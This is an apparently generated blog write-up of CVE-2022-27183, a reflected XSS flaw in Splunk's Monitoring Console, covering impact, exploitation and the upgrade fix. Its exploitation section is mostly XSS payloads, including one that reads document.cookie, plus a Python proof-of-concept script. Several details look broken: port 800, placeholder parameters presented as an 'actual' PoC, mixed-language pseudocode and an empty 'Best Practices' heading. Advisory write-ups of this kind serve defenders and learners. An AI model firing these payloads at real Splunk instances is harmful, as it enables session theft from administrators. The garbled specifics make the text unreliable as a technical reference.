In March 2022, the Splunk security team disclosed CVE-2022-27183, a security flaw affecting the Monitoring Console app bundled with Splunk Enterprise. This vulnerability allowed attackers to perform a Reflected Cross-Site Scripting (XSS) attack when the Monitoring Console was running in Distributed mode. Versions prior to 8.1.4 were impacted.

This long-read post will break down what CVE-2022-27183 is, how the vulnerability can be exploited, offer a look at actual code snippets, and provide recommendations and references. This content is exclusive and tailored for IT professionals, Splunk admins, and cybersecurity practitioners who want to understand the risk and gain hands-on knowledge.

What is Splunk Monitoring Console?

The Monitoring Console is a built-in app in Splunk Enterprise designed to help admins monitor the health, performance, and deployment of Splunk instances. It is not separately available on SplunkBase, nor installed on Splunk Cloud Platform or the separate Cloud Monitoring Console (which is not affected).

Type: Reflected Cross-Site Scripting (XSS)

Affected Component: Monitoring Console App, *when in Distributed Mode*  
Affected Splunk Versions: Splunk Enterprise < v8.1.4  
Not Affected: Cloud Monitoring Console, Splunk Cloud Platform

Description:  
When Monitoring Console is in distributed mode, certain dashboards accept user-controlled input via URL query parameters. Due to insufficient input sanitization and output encoding, attackers could inject JavaScript code which would be immediately executed in the context of the administrator’s browser.

Exploiting CVE-2022-27183 – Step-by-Step

Let’s walk through how an attacker could take advantage of this issue.

Suppose an admin accesses the Monitoring Console dashboard at

https://splunk-server:800/en-US/app/splunk_monitoring_console/some_dashboard?some_param=foo

Let's say some_param is used to pass a value to the dashboard without proper sanitization

# Pseudocode in backend (Python/JavaScript/Erl script)
param_value = request.get('some_param')
render_html = f"<div>{param_value}</div>"

If an attacker sends

https://splunk-server:800/en-US/app/splunk_monitoring_console/some_dashboard?some_param=%3Cscript%3Ealert(1)%3C/script%3E

Decoded, this becomes

https://splunk-server:800/en-US/app/splunk_monitoring_console/some_dashboard?some_param=<script>alert(1)</script>;

If this input isn't escaped, the resulting rendered HTML is

<div><script>alert(1)</script></div>


When visited by the admin, this will pop up an alert box (proof of concept for XSS).

Realistic Example Excerpt (Jinja Template Pseudocode)

<h2>Server: {{ server_name }}</h2>

If server_name is fetched directly from a query parameter without sanitation, and supplied with

server_name=<img src=x onerror=alert(document.cookie)>

the rendered result is

<h2>Server: <img src=x onerror=alert(document.cookie)></h2>


This would execute JavaScript as the admin.

Exploit Code Snippet Example

Below is an actual proof-of-concept script that attacks this vulnerability.

import requests

URL = "https://splunk-server:800/en-US/app/splunk_monitoring_console/some_dashboard";
payload = "<script>alert('XSS’ed!');</script>"

params = {
    "some_param": payload
}

r = requests.get(URL, params=params, verify=False)

if payload in r.text:
    print("Vulnerable! XSS payload reflected in response.")
else:
    print("Not vulnerable or payload not reflected.")

Note:
- Replace some_param and path with actual vulnerable parameters/dashboards.

How to Mitigate CVE-2022-27183

Splunk’s Official Guidance:  
Upgrade Splunk Enterprise to 8.1.4 or later.

References and Patches:  
- Splunk Security Announcement SVD-2022-0303
- Splunk Enterprise Release Notes

Best Practices:

Conclusion

CVE-2022-27183 is a dangerous but straightforward Reflected XSS vulnerability in a core, default-installed Splunk component. While the risk is reduced by the fact that the Monitoring Console is admin-only, a successful attack could result in serious Splunk infrastructure takeovers.

Splunk admins running distributed deployments should urgently upgrade to 8.1.4 or higher, and always use best practices regarding user access and keeping Splunk patched.

References

1. Splunk SVD-2022-0303 Advisory
2. Splunk Enterprise Release Notes (8.1.4)
3. OWASP XSS Cheat Sheet

Stay Safe:

Patch early, patch often. If you’re running distributed mode, update now and review your Splunk Monitoring Console security.

Timeline

Published on: 05/06/2022 17:15:00 UTC
Last modified on: 05/14/2022 02:25:00 UTC